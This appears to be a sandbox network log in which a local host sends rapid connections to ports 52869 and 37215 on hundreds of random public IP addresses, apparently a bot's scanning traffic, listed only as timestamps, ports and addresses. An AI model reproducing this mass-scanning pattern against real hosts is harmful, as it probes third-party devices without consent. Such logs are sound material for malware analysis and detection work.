Jul 20, 2024 23:00:58.547975063 CEST	50566	52869	192.168.2.13	38.49.123.120
Jul 20, 2024 23:00:58.547986031 CEST	50566	52869	192.168.2.13	62.204.49.132
Jul 20, 2024 23:00:58.548034906 CEST	50566	52869	192.168.2.13	164.103.95.95
Jul 20, 2024 23:00:58.548072100 CEST	50566	52869	192.168.2.13	90.220.208.134
Jul 20, 2024 23:00:58.548072100 CEST	50566	52869	192.168.2.13	120.120.202.208
Jul 20, 2024 23:00:58.548072100 CEST	50566	52869	192.168.2.13	147.164.232.161
Jul 20, 2024 23:00:58.548072100 CEST	50566	52869	192.168.2.13	220.123.4.18
Jul 20, 2024 23:00:58.548072100 CEST	50566	52869	192.168.2.13	71.240.247.135
Jul 20, 2024 23:00:58.548132896 CEST	50566	52869	192.168.2.13	57.30.119.39
Jul 20, 2024 23:00:58.548132896 CEST	50566	52869	192.168.2.13	170.113.9.186
Jul 20, 2024 23:00:58.548132896 CEST	50566	52869	192.168.2.13	125.165.157.181
Jul 20, 2024 23:00:58.548132896 CEST	50566	52869	192.168.2.13	188.226.47.52
Jul 20, 2024 23:00:58.548132896 CEST	50566	52869	192.168.2.13	53.242.30.163
Jul 20, 2024 23:00:58.548132896 CEST	50566	52869	192.168.2.13	118.95.117.249
Jul 20, 2024 23:00:58.548144102 CEST	50566	52869	192.168.2.13	13.164.169.253
Jul 20, 2024 23:00:58.548154116 CEST	50566	52869	192.168.2.13	193.107.65.164
Jul 20, 2024 23:00:58.548154116 CEST	50566	52869	192.168.2.13	80.226.91.150
Jul 20, 2024 23:00:58.548154116 CEST	50566	52869	192.168.2.13	209.200.229.61
Jul 20, 2024 23:00:58.548154116 CEST	50566	52869	192.168.2.13	8.104.228.104
Jul 20, 2024 23:00:58.548154116 CEST	50566	52869	192.168.2.13	158.159.28.203
Jul 20, 2024 23:00:58.548154116 CEST	50566	52869	192.168.2.13	57.86.64.87
Jul 20, 2024 23:00:58.548163891 CEST	50566	52869	192.168.2.13	207.32.229.66
Jul 20, 2024 23:00:58.548218966 CEST	50566	52869	192.168.2.13	119.150.77.161
Jul 20, 2024 23:00:58.548218966 CEST	50566	52869	192.168.2.13	199.170.141.174
Jul 20, 2024 23:00:58.548240900 CEST	50566	52869	192.168.2.13	211.159.248.236
Jul 20, 2024 23:00:58.548240900 CEST	50566	52869	192.168.2.13	129.209.221.62
Jul 20, 2024 23:00:58.548307896 CEST	50566	52869	192.168.2.13	35.117.84.161
Jul 20, 2024 23:00:58.548333883 CEST	50566	52869	192.168.2.13	27.117.118.67
Jul 20, 2024 23:00:58.548333883 CEST	50566	52869	192.168.2.13	138.25.247.16
Jul 20, 2024 23:00:58.548333883 CEST	50566	52869	192.168.2.13	121.35.219.146
Jul 20, 2024 23:00:58.548402071 CEST	50566	52869	192.168.2.13	175.10.79.147
Jul 20, 2024 23:00:58.548402071 CEST	50566	52869	192.168.2.13	150.134.45.104
Jul 20, 2024 23:00:58.548402071 CEST	50566	52869	192.168.2.13	183.33.143.75
Jul 20, 2024 23:00:58.548403025 CEST	50566	52869	192.168.2.13	143.236.166.197
Jul 20, 2024 23:00:58.548450947 CEST	50566	52869	192.168.2.13	81.71.223.221
Jul 20, 2024 23:00:58.548463106 CEST	37215	50563	157.225.164.86	192.168.2.13
Jul 20, 2024 23:00:58.548513889 CEST	37215	50563	152.30.0.248	192.168.2.13
Jul 20, 2024 23:00:58.548527956 CEST	50566	52869	192.168.2.13	87.22.11.17
Jul 20, 2024 23:00:58.548527956 CEST	50566	52869	192.168.2.13	156.218.218.173
Jul 20, 2024 23:00:58.548527956 CEST	50566	52869	192.168.2.13	51.169.114.105
Jul 20, 2024 23:00:58.548542976 CEST	50566	52869	192.168.2.13	135.241.25.166
Jul 20, 2024 23:00:58.548542976 CEST	50566	52869	192.168.2.13	191.251.66.209
Jul 20, 2024 23:00:58.548542976 CEST	50566	52869	192.168.2.13	51.230.131.89
Jul 20, 2024 23:00:58.548542976 CEST	50566	52869	192.168.2.13	204.52.130.30
Jul 20, 2024 23:00:58.548542976 CEST	50566	52869	192.168.2.13	17.217.65.15
Jul 20, 2024 23:00:58.548544884 CEST	37215	50563	197.112.240.13	192.168.2.13
Jul 20, 2024 23:00:58.548615932 CEST	37215	50563	157.191.44.134	192.168.2.13
Jul 20, 2024 23:00:58.548620939 CEST	50566	52869	192.168.2.13	69.82.73.167
Jul 20, 2024 23:00:58.548621893 CEST	50566	52869	192.168.2.13	143.19.210.21
Jul 20, 2024 23:00:58.548621893 CEST	50566	52869	192.168.2.13	153.97.31.189
Jul 20, 2024 23:00:58.548621893 CEST	50566	52869	192.168.2.13	84.26.238.160
Jul 20, 2024 23:00:58.548621893 CEST	50566	52869	192.168.2.13	98.189.122.151
Jul 20, 2024 23:00:58.548621893 CEST	50566	52869	192.168.2.13	170.54.95.252
Jul 20, 2024 23:00:58.548636913 CEST	50566	52869	192.168.2.13	170.171.127.228
Jul 20, 2024 23:00:58.548795938 CEST	50566	52869	192.168.2.13	197.160.210.166
Jul 20, 2024 23:00:58.548795938 CEST	50566	52869	192.168.2.13	213.249.133.80
Jul 20, 2024 23:00:58.548979044 CEST	50566	52869	192.168.2.13	48.113.240.162
Jul 20, 2024 23:00:58.548979044 CEST	50566	52869	192.168.2.13	139.23.112.9
Jul 20, 2024 23:00:58.548979044 CEST	50566	52869	192.168.2.13	172.51.83.216
Jul 20, 2024 23:00:58.548979998 CEST	50566	52869	192.168.2.13	187.248.171.89
Jul 20, 2024 23:00:58.548979998 CEST	50566	52869	192.168.2.13	74.253.225.130
Jul 20, 2024 23:00:58.548979998 CEST	50566	52869	192.168.2.13	23.86.160.85
Jul 20, 2024 23:00:58.548979998 CEST	50566	52869	192.168.2.13	211.247.29.248
Jul 20, 2024 23:00:58.548979998 CEST	50566	52869	192.168.2.13	130.11.160.84
Jul 20, 2024 23:00:58.548994064 CEST	37215	50563	41.66.79.3	192.168.2.13
Jul 20, 2024 23:00:58.549077988 CEST	50566	52869	192.168.2.13	83.224.119.168
Jul 20, 2024 23:00:58.549077988 CEST	50566	52869	192.168.2.13	126.209.245.77
Jul 20, 2024 23:00:58.549077988 CEST	50566	52869	192.168.2.13	126.66.84.101
Jul 20, 2024 23:00:58.549077034 CEST	50566	52869	192.168.2.13	160.241.202.23
Jul 20, 2024 23:00:58.549077988 CEST	50566	52869	192.168.2.13	19.96.215.60
Jul 20, 2024 23:00:58.549077988 CEST	50566	52869	192.168.2.13	72.60.254.31
Jul 20, 2024 23:00:58.549077988 CEST	50566	52869	192.168.2.13	213.139.43.137
Jul 20, 2024 23:00:58.549077988 CEST	50566	52869	192.168.2.13	170.23.175.88
Jul 20, 2024 23:00:58.549077988 CEST	50563	37215	192.168.2.13	157.225.164.86
Jul 20, 2024 23:00:58.549077988 CEST	50566	52869	192.168.2.13	164.8.255.47
Jul 20, 2024 23:00:58.549077988 CEST	50566	52869	192.168.2.13	157.40.9.209
Jul 20, 2024 23:00:58.549077988 CEST	50566	52869	192.168.2.13	188.53.105.187
Jul 20, 2024 23:00:58.549077988 CEST	50566	52869	192.168.2.13	77.222.205.40
Jul 20, 2024 23:00:58.549077988 CEST	50566	52869	192.168.2.13	97.132.111.117
Jul 20, 2024 23:00:58.549077988 CEST	50566	52869	192.168.2.13	89.57.196.100
Jul 20, 2024 23:00:58.549077988 CEST	50566	52869	192.168.2.13	210.242.150.143
Jul 20, 2024 23:00:58.549124956 CEST	50566	52869	192.168.2.13	144.242.214.134
Jul 20, 2024 23:00:58.549124956 CEST	50566	52869	192.168.2.13	170.201.104.199
Jul 20, 2024 23:00:58.549124956 CEST	50566	52869	192.168.2.13	191.214.228.151
Jul 20, 2024 23:00:58.549124956 CEST	50566	52869	192.168.2.13	18.101.167.39
Jul 20, 2024 23:00:58.549124956 CEST	50566	52869	192.168.2.13	68.30.100.71
Jul 20, 2024 23:00:58.549124956 CEST	50566	52869	192.168.2.13	49.79.222.119
Jul 20, 2024 23:00:58.549124956 CEST	50566	52869	192.168.2.13	63.139.62.111
Jul 20, 2024 23:00:58.549288988 CEST	37215	50563	143.39.235.18	192.168.2.13
Jul 20, 2024 23:00:58.549314976 CEST	50566	52869	192.168.2.13	220.26.7.227
Jul 20, 2024 23:00:58.549314976 CEST	50566	52869	192.168.2.13	183.89.166.139
Jul 20, 2024 23:00:58.549314976 CEST	50566	52869	192.168.2.13	158.124.195.199
Jul 20, 2024 23:00:58.549314976 CEST	50566	52869	192.168.2.13	186.203.154.108
Jul 20, 2024 23:00:58.549314976 CEST	50566	52869	192.168.2.13	139.0.230.132
Jul 20, 2024 23:00:58.549314976 CEST	50566	52869	192.168.2.13	65.224.243.64
Jul 20, 2024 23:00:58.549314976 CEST	50566	52869	192.168.2.13	91.73.86.81
Jul 20, 2024 23:00:58.549314976 CEST	50566	52869	192.168.2.13	70.194.220.73
Jul 20, 2024 23:00:58.549463987 CEST	37215	50563	197.155.50.29	192.168.2.13
Jul 20, 2024 23:00:58.549788952 CEST	37215	50563	41.116.6.21	192.168.2.13
Jul 20, 2024 23:00:58.549844027 CEST	37215	50563	77.77.222.35	192.168.2.13
Jul 20, 2024 23:00:58.549985886 CEST	50566	52869	192.168.2.13	64.186.75.249
Jul 20, 2024 23:00:58.549985886 CEST	50566	52869	192.168.2.13	97.114.117.29
Jul 20, 2024 23:00:58.549985886 CEST	50566	52869	192.168.2.13	187.123.127.227
Jul 20, 2024 23:00:58.549985886 CEST	50566	52869	192.168.2.13	173.204.137.85
Jul 20, 2024 23:00:58.549985886 CEST	50566	52869	192.168.2.13	138.96.171.141
Jul 20, 2024 23:00:58.549985886 CEST	50566	52869	192.168.2.13	13.146.164.210
Jul 20, 2024 23:00:58.549985886 CEST	50566	52869	192.168.2.13	148.242.181.53
Jul 20, 2024 23:00:58.549985886 CEST	50566	52869	192.168.2.13	72.246.92.233
Jul 20, 2024 23:00:58.550086021 CEST	50566	52869	192.168.2.13	77.182.150.37
Jul 20, 2024 23:00:58.550086021 CEST	50566	52869	192.168.2.13	9.231.7.210
Jul 20, 2024 23:00:58.550086021 CEST	50566	52869	192.168.2.13	216.1.152.81
Jul 20, 2024 23:00:58.550086021 CEST	50566	52869	192.168.2.13	221.85.136.10
Jul 20, 2024 23:00:58.550086021 CEST	50566	52869	192.168.2.13	111.37.65.174
Jul 20, 2024 23:00:58.550086975 CEST	50566	52869	192.168.2.13	179.27.16.177
Jul 20, 2024 23:00:58.550086975 CEST	50566	52869	192.168.2.13	115.130.21.220
Jul 20, 2024 23:00:58.550086975 CEST	50566	52869	192.168.2.13	40.14.24.23
Jul 20, 2024 23:00:58.550301075 CEST	50566	52869	192.168.2.13	13.145.132.17
Jul 20, 2024 23:00:58.550301075 CEST	50566	52869	192.168.2.13	191.252.251.212
Jul 20, 2024 23:00:58.550301075 CEST	50566	52869	192.168.2.13	78.238.220.249
Jul 20, 2024 23:00:58.550301075 CEST	50566	52869	192.168.2.13	222.97.13.69
Jul 20, 2024 23:00:58.550301075 CEST	50566	52869	192.168.2.13	47.21.202.187
Jul 20, 2024 23:00:58.550301075 CEST	50566	52869	192.168.2.13	205.130.81.109
Jul 20, 2024 23:00:58.550301075 CEST	50566	52869	192.168.2.13	176.151.180.197
Jul 20, 2024 23:00:58.550301075 CEST	50566	52869	192.168.2.13	168.69.38.135
Jul 20, 2024 23:00:58.550398111 CEST	50566	52869	192.168.2.13	75.16.206.108
Jul 20, 2024 23:00:58.550398111 CEST	50566	52869	192.168.2.13	89.84.130.3
Jul 20, 2024 23:00:58.550398111 CEST	50566	52869	192.168.2.13	137.137.144.212
Jul 20, 2024 23:00:58.550398111 CEST	50566	52869	192.168.2.13	62.126.184.91
Jul 20, 2024 23:00:58.550398111 CEST	50566	52869	192.168.2.13	24.166.198.46
Jul 20, 2024 23:00:58.550398111 CEST	50566	52869	192.168.2.13	78.145.139.16
Jul 20, 2024 23:00:58.550398111 CEST	50566	52869	192.168.2.13	99.172.148.31
Jul 20, 2024 23:00:58.550399065 CEST	50566	52869	192.168.2.13	76.239.185.4
Jul 20, 2024 23:00:58.550411940 CEST	50566	52869	192.168.2.13	199.255.47.208
Jul 20, 2024 23:00:58.550411940 CEST	50566	52869	192.168.2.13	130.147.77.29
Jul 20, 2024 23:00:58.550411940 CEST	50566	52869	192.168.2.13	166.150.19.163
Jul 20, 2024 23:00:58.550411940 CEST	50566	52869	192.168.2.13	47.216.94.0
Jul 20, 2024 23:00:58.550411940 CEST	50566	52869	192.168.2.13	136.164.189.225
Jul 20, 2024 23:00:58.550411940 CEST	50566	52869	192.168.2.13	162.26.5.38
Jul 20, 2024 23:00:58.550411940 CEST	50566	52869	192.168.2.13	114.0.228.232
Jul 20, 2024 23:00:58.550411940 CEST	50566	52869	192.168.2.13	144.53.119.5
Jul 20, 2024 23:00:58.550874949 CEST	50566	52869	192.168.2.13	83.59.61.36
Jul 20, 2024 23:00:58.550874949 CEST	50563	37215	192.168.2.13	41.66.79.3
Jul 20, 2024 23:00:58.550874949 CEST	50566	52869	192.168.2.13	47.14.186.72
Jul 20, 2024 23:00:58.550874949 CEST	50566	52869	192.168.2.13	219.243.137.80
Jul 20, 2024 23:00:58.550874949 CEST	50566	52869	192.168.2.13	92.60.201.159
Jul 20, 2024 23:00:58.550874949 CEST	50566	52869	192.168.2.13	112.136.148.134
Jul 20, 2024 23:00:58.550874949 CEST	50566	52869	192.168.2.13	80.49.148.206
Jul 20, 2024 23:00:58.550874949 CEST	50566	52869	192.168.2.13	64.225.124.7
Jul 20, 2024 23:00:58.551096916 CEST	50566	52869	192.168.2.13	4.4.167.103
Jul 20, 2024 23:00:58.551096916 CEST	50566	52869	192.168.2.13	171.117.89.236
Jul 20, 2024 23:00:58.551096916 CEST	50566	52869	192.168.2.13	195.228.120.248
Jul 20, 2024 23:00:58.551096916 CEST	50566	52869	192.168.2.13	221.82.215.87
Jul 20, 2024 23:00:58.551098108 CEST	50566	52869	192.168.2.13	14.2.30.96
Jul 20, 2024 23:00:58.551098108 CEST	50566	52869	192.168.2.13	121.104.50.97
Jul 20, 2024 23:00:58.551098108 CEST	50566	52869	192.168.2.13	177.130.98.196
Jul 20, 2024 23:00:58.551448107 CEST	50566	52869	192.168.2.13	71.112.213.237
Jul 20, 2024 23:00:58.551448107 CEST	50566	52869	192.168.2.13	176.69.59.228
Jul 20, 2024 23:00:58.551448107 CEST	50566	52869	192.168.2.13	92.52.112.233
Jul 20, 2024 23:00:58.551448107 CEST	50566	52869	192.168.2.13	37.205.184.129
Jul 20, 2024 23:00:58.551448107 CEST	50566	52869	192.168.2.13	44.173.173.82
Jul 20, 2024 23:00:58.551448107 CEST	50566	52869	192.168.2.13	13.5.180.251
Jul 20, 2024 23:00:58.551448107 CEST	50566	52869	192.168.2.13	39.240.110.128
Jul 20, 2024 23:00:58.551448107 CEST	50566	52869	192.168.2.13	54.236.238.51
Jul 20, 2024 23:00:58.551565886 CEST	50566	52869	192.168.2.13	165.95.243.107
Jul 20, 2024 23:00:58.551565886 CEST	50566	52869	192.168.2.13	81.73.195.232
Jul 20, 2024 23:00:58.551565886 CEST	50566	52869	192.168.2.13	153.33.151.65
Jul 20, 2024 23:00:58.551565886 CEST	50566	52869	192.168.2.13	183.32.240.14
Jul 20, 2024 23:00:58.551565886 CEST	50566	52869	192.168.2.13	9.155.213.68
Jul 20, 2024 23:00:58.551565886 CEST	50566	52869	192.168.2.13	168.61.125.85
Jul 20, 2024 23:00:58.551565886 CEST	50566	52869	192.168.2.13	191.94.176.193
Jul 20, 2024 23:00:58.551565886 CEST	50566	52869	192.168.2.13	216.194.176.131
Jul 20, 2024 23:00:58.552158117 CEST	50566	52869	192.168.2.13	99.160.201.206
Jul 20, 2024 23:00:58.552158117 CEST	50566	52869	192.168.2.13	82.166.201.81
Jul 20, 2024 23:00:58.552158117 CEST	50566	52869	192.168.2.13	153.105.129.20
Jul 20, 2024 23:00:58.552158117 CEST	50566	52869	192.168.2.13	202.189.16.223
Jul 20, 2024 23:00:58.552158117 CEST	50566	52869	192.168.2.13	126.183.166.233
Jul 20, 2024 23:00:58.552158117 CEST	50566	52869	192.168.2.13	8.85.166.254
Jul 20, 2024 23:00:58.552158117 CEST	50566	52869	192.168.2.13	106.43.123.108
Jul 20, 2024 23:00:58.552158117 CEST	50566	52869	192.168.2.13	43.240.11.124
Jul 20, 2024 23:00:58.552189112 CEST	50563	37215	192.168.2.13	152.30.0.248
Jul 20, 2024 23:00:58.552189112 CEST	50566	52869	192.168.2.13	117.76.117.93
Jul 20, 2024 23:00:58.552189112 CEST	50563	37215	192.168.2.13	197.112.240.13
Jul 20, 2024 23:00:58.552189112 CEST	50563	37215	192.168.2.13	157.191.44.134
Jul 20, 2024 23:00:58.552189112 CEST	50566	52869	192.168.2.13	198.95.42.42
Jul 20, 2024 23:00:58.552189112 CEST	50566	52869	192.168.2.13	172.54.67.32
Jul 20, 2024 23:00:58.552189112 CEST	50566	52869	192.168.2.13	53.36.224.51
Jul 20, 2024 23:00:58.552189112 CEST	50566	52869	192.168.2.13	160.161.205.189
Jul 20, 2024 23:00:58.552212954 CEST	50566	52869	192.168.2.13	159.127.6.20
Jul 20, 2024 23:00:58.552212954 CEST	50566	52869	192.168.2.13	219.0.14.247
Jul 20, 2024 23:00:58.552212954 CEST	50566	52869	192.168.2.13	223.227.5.114
Jul 20, 2024 23:00:58.552212954 CEST	50566	52869	192.168.2.13	141.36.128.134
Jul 20, 2024 23:00:58.552212954 CEST	50566	52869	192.168.2.13	51.65.47.196
Jul 20, 2024 23:00:58.552212954 CEST	50566	52869	192.168.2.13	212.236.125.79
Jul 20, 2024 23:00:58.552212954 CEST	50566	52869	192.168.2.13	162.202.222.182
Jul 20, 2024 23:00:58.552212954 CEST	50566	52869	192.168.2.13	109.242.201.39
Jul 20, 2024 23:00:58.552345991 CEST	37215	50563	41.174.95.66	192.168.2.13
Jul 20, 2024 23:00:58.552432060 CEST	37215	50563	110.216.253.90	192.168.2.13
Jul 20, 2024 23:00:58.552469015 CEST	37215	50563	41.255.201.78	192.168.2.13
Jul 20, 2024 23:00:58.552548885 CEST	37215	50563	157.203.152.221	192.168.2.13
Jul 20, 2024 23:00:58.552581072 CEST	37215	50563	93.236.140.144	192.168.2.13
Jul 20, 2024 23:00:58.552609921 CEST	37215	50563	41.210.236.146	192.168.2.13
Jul 20, 2024 23:00:58.552644014 CEST	37215	50563	157.3.208.106	192.168.2.13
Jul 20, 2024 23:00:58.552858114 CEST	50566	52869	192.168.2.13	49.146.39.71
Jul 20, 2024 23:00:58.552858114 CEST	50566	52869	192.168.2.13	71.95.23.241
Jul 20, 2024 23:00:58.552858114 CEST	50566	52869	192.168.2.13	61.114.188.190
Jul 20, 2024 23:00:58.552858114 CEST	50566	52869	192.168.2.13	35.206.55.83
Jul 20, 2024 23:00:58.552858114 CEST	50566	52869	192.168.2.13	13.232.225.193
Jul 20, 2024 23:00:58.552858114 CEST	50566	52869	192.168.2.13	154.241.18.163
Jul 20, 2024 23:00:58.552858114 CEST	50566	52869	192.168.2.13	206.239.43.25
Jul 20, 2024 23:00:58.552858114 CEST	50566	52869	192.168.2.13	2.28.103.200
Jul 20, 2024 23:00:58.552989960 CEST	37215	50563	157.43.201.2	192.168.2.13
Jul 20, 2024 23:00:58.553020954 CEST	37215	50563	41.83.245.140	192.168.2.13
Jul 20, 2024 23:00:58.553051949 CEST	37215	50563	197.185.234.156	192.168.2.13
Jul 20, 2024 23:00:58.553108931 CEST	37215	50563	157.161.231.10	192.168.2.13
Jul 20, 2024 23:00:58.553138971 CEST	37215	50563	105.53.66.201	192.168.2.13
Jul 20, 2024 23:00:58.553169012 CEST	37215	50563	194.210.218.139	192.168.2.13
Jul 20, 2024 23:00:58.553204060 CEST	37215	50563	157.219.150.12	192.168.2.13
Jul 20, 2024 23:00:58.553236008 CEST	37215	35940	157.3.21.190	192.168.2.13
Jul 20, 2024 23:00:58.553275108 CEST	50566	52869	192.168.2.13	125.82.19.196
Jul 20, 2024 23:00:58.553275108 CEST	50566	52869	192.168.2.13	204.210.9.128
Jul 20, 2024 23:00:58.553275108 CEST	50566	52869	192.168.2.13	183.244.92.210
Jul 20, 2024 23:00:58.553275108 CEST	50566	52869	192.168.2.13	47.222.214.79
Jul 20, 2024 23:00:58.553275108 CEST	50566	52869	192.168.2.13	110.74.122.205
Jul 20, 2024 23:00:58.553276062 CEST	50566	52869	192.168.2.13	219.208.149.193
Jul 20, 2024 23:00:58.553276062 CEST	50566	52869	192.168.2.13	126.183.144.210
Jul 20, 2024 23:00:58.553276062 CEST	50566	52869	192.168.2.13	188.112.111.250
Jul 20, 2024 23:00:58.553416014 CEST	37215	32874	41.56.118.161	192.168.2.13
Jul 20, 2024 23:00:58.553478003 CEST	50566	52869	192.168.2.13	20.106.107.244
Jul 20, 2024 23:00:58.553478003 CEST	50566	52869	192.168.2.13	188.74.101.140
Jul 20, 2024 23:00:58.553478003 CEST	50566	52869	192.168.2.13	78.8.181.144
Jul 20, 2024 23:00:58.553478003 CEST	50566	52869	192.168.2.13	124.49.210.94
Jul 20, 2024 23:00:58.553478003 CEST	50566	52869	192.168.2.13	1.212.57.243
Jul 20, 2024 23:00:58.553478003 CEST	50566	52869	192.168.2.13	77.190.202.82
Jul 20, 2024 23:00:58.553478003 CEST	50566	52869	192.168.2.13	50.236.24.191
Jul 20, 2024 23:00:58.553478003 CEST	50566	52869	192.168.2.13	115.52.50.250
Jul 20, 2024 23:00:58.553687096 CEST	50566	52869	192.168.2.13	178.39.107.192
Jul 20, 2024 23:00:58.553687096 CEST	50566	52869	192.168.2.13	87.8.107.75
Jul 20, 2024 23:00:58.553687096 CEST	50566	52869	192.168.2.13	216.44.193.248
Jul 20, 2024 23:00:58.553687096 CEST	50566	52869	192.168.2.13	2.24.106.226
Jul 20, 2024 23:00:58.553687096 CEST	50566	52869	192.168.2.13	130.52.89.119
Jul 20, 2024 23:00:58.553687096 CEST	50566	52869	192.168.2.13	177.163.100.239
Jul 20, 2024 23:00:58.553687096 CEST	50566	52869	192.168.2.13	84.170.72.203
Jul 20, 2024 23:00:58.553687096 CEST	50566	52869	192.168.2.13	64.141.187.236
Jul 20, 2024 23:00:58.553725004 CEST	50566	52869	192.168.2.13	83.201.72.91
Jul 20, 2024 23:00:58.553725004 CEST	50566	52869	192.168.2.13	80.21.51.67
Jul 20, 2024 23:00:58.553725004 CEST	50566	52869	192.168.2.13	180.115.139.253
Jul 20, 2024 23:00:58.553725004 CEST	50566	52869	192.168.2.13	57.53.68.209
Jul 20, 2024 23:00:58.553725004 CEST	50566	52869	192.168.2.13	84.50.117.185
Jul 20, 2024 23:00:58.553725004 CEST	50566	52869	192.168.2.13	47.206.114.161
Jul 20, 2024 23:00:58.553725004 CEST	50566	52869	192.168.2.13	45.82.22.110
Jul 20, 2024 23:00:58.553725004 CEST	50563	37215	192.168.2.13	143.39.235.18
Jul 20, 2024 23:00:58.553894997 CEST	37215	38980	197.214.55.135	192.168.2.13
Jul 20, 2024 23:00:58.554085970 CEST	50566	52869	192.168.2.13	158.90.117.175
Jul 20, 2024 23:00:58.554085970 CEST	50566	52869	192.168.2.13	76.214.57.173
Jul 20, 2024 23:00:58.554085970 CEST	50566	52869	192.168.2.13	79.212.148.111
Jul 20, 2024 23:00:58.554086924 CEST	50566	52869	192.168.2.13	128.199.8.22
Jul 20, 2024 23:00:58.554086924 CEST	50566	52869	192.168.2.13	85.119.116.161
Jul 20, 2024 23:00:58.554086924 CEST	50566	52869	192.168.2.13	119.98.5.56
Jul 20, 2024 23:00:58.554086924 CEST	50566	52869	192.168.2.13	205.42.188.114
Jul 20, 2024 23:00:58.554086924 CEST	50566	52869	192.168.2.13	48.8.140.39
Jul 20, 2024 23:00:58.554380894 CEST	50566	52869	192.168.2.13	184.235.53.151
Jul 20, 2024 23:00:58.554380894 CEST	50566	52869	192.168.2.13	122.26.122.109
Jul 20, 2024 23:00:58.554380894 CEST	50566	52869	192.168.2.13	58.234.199.253
Jul 20, 2024 23:00:58.554380894 CEST	50566	52869	192.168.2.13	60.17.2.252
Jul 20, 2024 23:00:58.554380894 CEST	50566	52869	192.168.2.13	106.194.122.151
Jul 20, 2024 23:00:58.554380894 CEST	50566	52869	192.168.2.13	71.163.97.163
Jul 20, 2024 23:00:58.554380894 CEST	50566	52869	192.168.2.13	32.227.60.125
Jul 20, 2024 23:00:58.554380894 CEST	50566	52869	192.168.2.13	87.197.185.245
Jul 20, 2024 23:00:58.554450035 CEST	52869	50566	112.104.240.153	192.168.2.13
Jul 20, 2024 23:00:58.554480076 CEST	52869	50566	173.70.195.138	192.168.2.13
Jul 20, 2024 23:00:58.554508924 CEST	52869	50566	52.185.40.220	192.168.2.13
Jul 20, 2024 23:00:58.554559946 CEST	52869	50566	168.214.55.135	192.168.2.13
Jul 20, 2024 23:00:58.554589987 CEST	52869	50566	82.246.219.130	192.168.2.13
Jul 20, 2024 23:00:58.554620028 CEST	52869	50566	52.188.85.89	192.168.2.13
Jul 20, 2024 23:00:58.554649115 CEST	52869	50566	202.179.114.114	192.168.2.13
Jul 20, 2024 23:00:58.554677963 CEST	52869	50566	166.157.8.210	192.168.2.13
Jul 20, 2024 23:00:58.554707050 CEST	52869	50566	31.175.187.129	192.168.2.13
Jul 20, 2024 23:00:58.554735899 CEST	52869	50566	153.88.175.187	192.168.2.13
Jul 20, 2024 23:00:58.554765940 CEST	52869	50566	202.159.56.129	192.168.2.13
Jul 20, 2024 23:00:58.554795027 CEST	52869	50566	223.161.169.143	192.168.2.13
Jul 20, 2024 23:00:58.554824114 CEST	52869	50566	47.131.156.7	192.168.2.13
Jul 20, 2024 23:00:58.554852009 CEST	52869	50566	204.46.251.166	192.168.2.13
Jul 20, 2024 23:00:58.554882050 CEST	52869	50566	163.209.94.25	192.168.2.13
Jul 20, 2024 23:00:58.554909945 CEST	52869	50566	89.116.1.211	192.168.2.13
Jul 20, 2024 23:00:58.554939985 CEST	52869	50566	122.167.75.170	192.168.2.13
Jul 20, 2024 23:00:58.554970026 CEST	52869	50566	104.26.83.71	192.168.2.13
Jul 20, 2024 23:00:58.554999113 CEST	52869	50566	162.160.111.35	192.168.2.13
Jul 20, 2024 23:00:58.555027962 CEST	52869	50566	154.157.246.72	192.168.2.13
Jul 20, 2024 23:00:58.555087090 CEST	52869	50566	180.57.201.161	192.168.2.13
Jul 20, 2024 23:00:58.555116892 CEST	52869	50566	103.233.66.3	192.168.2.13
Jul 20, 2024 23:00:58.555146933 CEST	52869	50566	58.55.6.110	192.168.2.13
Jul 20, 2024 23:00:58.555176020 CEST	52869	50566	39.238.204.107	192.168.2.13
Jul 20, 2024 23:00:58.555200100 CEST	50566	52869	192.168.2.13	165.40.111.49
Jul 20, 2024 23:00:58.555200100 CEST	50566	52869	192.168.2.13	107.240.237.92
Jul 20, 2024 23:00:58.555200100 CEST	50566	52869	192.168.2.13	153.228.1.122
Jul 20, 2024 23:00:58.555200100 CEST	50566	52869	192.168.2.13	61.243.237.42
Jul 20, 2024 23:00:58.555200100 CEST	50566	52869	192.168.2.13	80.185.229.52
Jul 20, 2024 23:00:58.555200100 CEST	50566	52869	192.168.2.13	185.135.224.163
Jul 20, 2024 23:00:58.555200100 CEST	50566	52869	192.168.2.13	27.119.187.115
Jul 20, 2024 23:00:58.555200100 CEST	50566	52869	192.168.2.13	177.17.146.64
Jul 20, 2024 23:00:58.555206060 CEST	52869	50566	162.120.56.216	192.168.2.13
Jul 20, 2024 23:00:58.555237055 CEST	52869	50566	119.44.232.241	192.168.2.13
Jul 20, 2024 23:00:58.555267096 CEST	52869	50566	40.11.215.79	192.168.2.13
Jul 20, 2024 23:00:58.555299044 CEST	52869	50566	164.103.95.95	192.168.2.13
Jul 20, 2024 23:00:58.555327892 CEST	52869	50566	219.121.3.137	192.168.2.13
Jul 20, 2024 23:00:58.555358887 CEST	52869	50566	64.111.121.228	192.168.2.13
Jul 20, 2024 23:00:58.555387974 CEST	52869	50566	130.206.211.129	192.168.2.13
Jul 20, 2024 23:00:58.555418015 CEST	52869	50566	62.204.49.132	192.168.2.13
Jul 20, 2024 23:00:58.555448055 CEST	52869	50566	160.89.205.146	192.168.2.13
Jul 20, 2024 23:00:58.555478096 CEST	52869	50566	4.26.18.222	192.168.2.13
Jul 20, 2024 23:00:58.555507898 CEST	52869	50566	57.30.119.39	192.168.2.13
Jul 20, 2024 23:00:58.555536985 CEST	52869	50566	193.107.65.164	192.168.2.13
Jul 20, 2024 23:00:58.555566072 CEST	52869	50566	13.164.169.253	192.168.2.13
Jul 20, 2024 23:00:58.555594921 CEST	52869	50566	170.113.9.186	192.168.2.13
Jul 20, 2024 23:00:58.555624962 CEST	52869	50566	80.226.91.150	192.168.2.13
Jul 20, 2024 23:00:58.555649042 CEST	50566	52869	192.168.2.13	128.25.16.1
Jul 20, 2024 23:00:58.555649042 CEST	50566	52869	192.168.2.13	172.48.61.126
Jul 20, 2024 23:00:58.555649996 CEST	50566	52869	192.168.2.13	193.52.124.252
Jul 20, 2024 23:00:58.555649996 CEST	50566	52869	192.168.2.13	118.77.193.45
Jul 20, 2024 23:00:58.555649996 CEST	50566	52869	192.168.2.13	52.193.141.176
Jul 20, 2024 23:00:58.555649996 CEST	50566	52869	192.168.2.13	154.238.207.143
Jul 20, 2024 23:00:58.555649996 CEST	50566	52869	192.168.2.13	133.2.222.184
Jul 20, 2024 23:00:58.555649996 CEST	50566	52869	192.168.2.13	122.195.113.112
Jul 20, 2024 23:00:58.555654049 CEST	52869	50566	125.165.157.181	192.168.2.13
Jul 20, 2024 23:00:58.555681944 CEST	52869	50566	207.32.229.66	192.168.2.13
Jul 20, 2024 23:00:58.555711031 CEST	52869	50566	188.226.47.52	192.168.2.13
